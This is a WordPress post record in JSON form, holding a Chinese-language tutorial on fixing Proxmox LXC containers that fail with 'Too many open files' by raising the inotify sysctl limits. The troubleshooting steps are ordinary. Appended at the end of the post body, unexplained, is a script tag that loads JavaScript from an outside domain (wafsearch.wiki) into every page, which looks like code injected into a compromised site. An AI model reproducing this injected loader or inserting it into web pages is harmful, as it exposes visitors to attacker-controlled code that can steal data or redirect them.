{"id":115,"date":"2019-08-05T15:51:23","date_gmt":"2019-08-05T07:51:23","guid":{"rendered":"http:\/\/blog.lorex.tw\/?p=115"},"modified":"2026-01-26T18:52:36","modified_gmt":"2026-01-26T10:52:36","slug":"proxmox-lxc-too-many-open-files","status":"publish","type":"post","link":"https:\/\/lorex.tw\/?p=115","title":{"rendered":"Proxmox \u7121\u6cd5\u958b\u555f lxc: Too many open files"},"content":{"rendered":"\n<h2>\u554f\u984c<\/h2>\n\n\n\n<p>\u4eca\u5929\u8981\u65b0\u589e LXC Container \u6642\u767c\u73fe\u7121\u6cd5\u555f\u52d5\u3002<br>\u5f9e Web Admin \u958b\u555f CT \u53ef\u4ee5\u770b\u5230\u555f\u52d5\u6210\u529f\uff0c\u6a5f\u5668\u72c0\u614b\u4e5f\u6709\u770b\u5230 running\uff0c\u4f46\u6c92\u591a\u4e45\u6a5f\u5668\u72c0\u614b\u53c8\u8df3\u56de Stopped\u3002<\/p>\n\n\n\n<p>\u6253\u958b Host \u6a5f\u7684 Console\uff0c\u8f38\u5165\u4ee5\u4e0b\u6307\u4ee4\u5617\u8a66\u624b\u52d5\u958b\u555f\uff1a<\/p>\n<div class=\"hcb_wrap\">\n<pre class=\"prism line-numbers lang-bash\" data-lang=\"Bash\"><code>$ pct start &lt;ctid&gt;<\/code><\/pre>\n<\/div>\n\n\n\n<p>\u767c\u73fe\u6c92\u6709\u7528\uff0c\u4e26\u4e14\u6703\u8df3\u51fa\u4ee5\u4e0b\u932f\u8aa4\uff1a<\/p>\n\n\n\n<div class=\"hcb_wrap\">\n<pre class=\"prism line-numbers lang-bash\" data-lang=\"Bash\"><code>Failed to allocate directory watch: Too many open files<\/code><\/pre>\n<\/div>\n\n\n\n<p>\u4e0a\u7db2\u641c\u5c0b\u5f8c\uff0c\u767c\u73fe\u6709\u4e0d\u5c11 PVE \u7684\u9ad8\u7528\u91cf\u7528\u6236\u4e5f<a href=\"https:\/\/forum.proxmox.com\/threads\/failed-to-allocate-directory-watch-too-many-open-files.28700\/\">\u78b0\u904e\u9019\u500b\u554f\u984c<\/a>\uff0c\u5b98\u65b9\u8cbc\u4e86\u4e00\u500b<a href=\"https:\/\/bugzilla.proxmox.com\/show_bug.cgi?id=1042\">\u7b54\u8986<\/a>\uff0c\u5927\u610f\u662f LXC Container \u6703\u4f7f\u7528\u4e00\u500b\u540d\u70ba &#8220;<a href=\"https:\/\/www.ibm.com\/developerworks\/cn\/linux\/l-inotifynew\/index.html\">inotify<\/a>&#8221; \u7684\u7cfb\u7d71\u8b8a\u5316\u901a\u77e5\u6a5f\u5236\uff0cinotify \u5728\u7cfb\u7d71\u4e2d\u7684\u6578\u91cf\u662f\u6709\u9650\u5236\u7684\uff0c\u5728 PVE \u4e0a\uff0c\u9810\u8a2d\u7684 inotify \u6578\u91cf\u9650\u5236\u662f 128\u3002\u56e0\u6b64\uff0c\u5982\u679c\u4f60\u958b\u555f\u592a\u591a LXC Container\uff0c\u5728\u540c\u6642\u904b\u884c\u6642\u5c31\u6703\u8017\u76e1\u53ef\u7528\u7684 inotify \u8cc7\u6e90\u3002<\/p>\n\n\n\n<h2>\u89e3\u6c7a\u65b9\u6848<\/h2>\n\n\n\n<p>\u89e3\u6c7a\u65b9\u6cd5\u5f88\u7c21\u55ae\uff0c\u5c31\u662f\u76f4\u63a5\u628a inotify \u6578\u91cf\u9650\u5236\u5f80\u4e0a\u62c9\u5c31\u597d\uff1a<\/p>\n\n\n\n<div class=\"hcb_wrap\">\n<pre class=\"prism line-numbers lang-bash\" data-lang=\"Bash\"><code>$ sysctl fs.inotify.max_user_instances=512<\/code><\/pre>\n<\/div>\n\n\n\n<p> \u4ee5\u4e0a\u6307\u4ee4\u53ef\u4ee5\u628a inotify \u7684\u6578\u91cf\u9650\u5236\u5f80\u4e0a\u62c9 4 \u500d\uff0c\u4e0d\u904e\u9019\u500b\u6307\u4ee4\u53ea\u662f\u66ab\u6642\u62c9\u9ad8\u9650\u5236\u800c\u5df2\uff0c\u5982\u679c\u8981\u6c38\u4e45\u751f\u6548\u7684\u8a71\u5247\u8981\u5c0d <strong>\/etc\/sysctl.conf<\/strong> \u9032\u884c\u8b8a\u66f4\uff1a<\/p>\n\n\n\n<div class=\"hcb_wrap\">\n<pre class=\"prism line-numbers lang-bash\" data-lang=\"Bash\"><code>fs.inotify.max_user_instances=512\nfs.inotify.max_user_watches=262144<\/code><\/pre>\n<\/div>\n\n\n\n<p>\u4e0a\u8ff0\u53c3\u6578\u4e00\u6a23\u662f\u5c07\u73fe\u6709\u6578\u91cf\u5f80\u4e0a\u62c9 4 \u500d\uff0c\u5982\u679c\u9084\u662f\u592a\u5c11\u7684\u8a71\u53ef\u4ee5\u8996\u60c5\u6cc1\u518d\u5f80\u4e0a\u62c9\uff0c\u6700\u5f8c\u57f7\u884c\uff1a<\/p>\n\n\n\n<div class=\"hcb_wrap\">\n<pre class=\"prism line-numbers lang-bash\" data-lang=\"Bash\"><code>$ sysctl -p<\/code><\/pre>\n<\/div>\n\n\n\n<p>\u8b93\u4ed6\u751f\u6548\u5c31\u53ef\u4ee5\u4e86\u3002<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>\u554f\u984c \u4eca\u5929\u8981\u65b0\u589e LXC Container \u6642\u767c\u73fe\u7121\u6cd5\u555f\u52d5\u3002\u5f9e W&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[16,2],"tags":[17],"_links":{"self":[{"href":"https:\/\/lorex.tw\/index.php?rest_route=\/wp\/v2\/posts\/115"}],"collection":[{"href":"https:\/\/lorex.tw\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lorex.tw\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lorex.tw\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lorex.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=115"}],"version-history":[{"count":2,"href":"https:\/\/lorex.tw\/index.php?rest_route=\/wp\/v2\/posts\/115\/revisions"}],"predecessor-version":[{"id":148,"href":"https:\/\/lorex.tw\/index.php?rest_route=\/wp\/v2\/posts\/115\/revisions\/148"}],"wp:attachment":[{"href":"https:\/\/lorex.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=115"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lorex.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=115"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lorex.tw\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=115"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}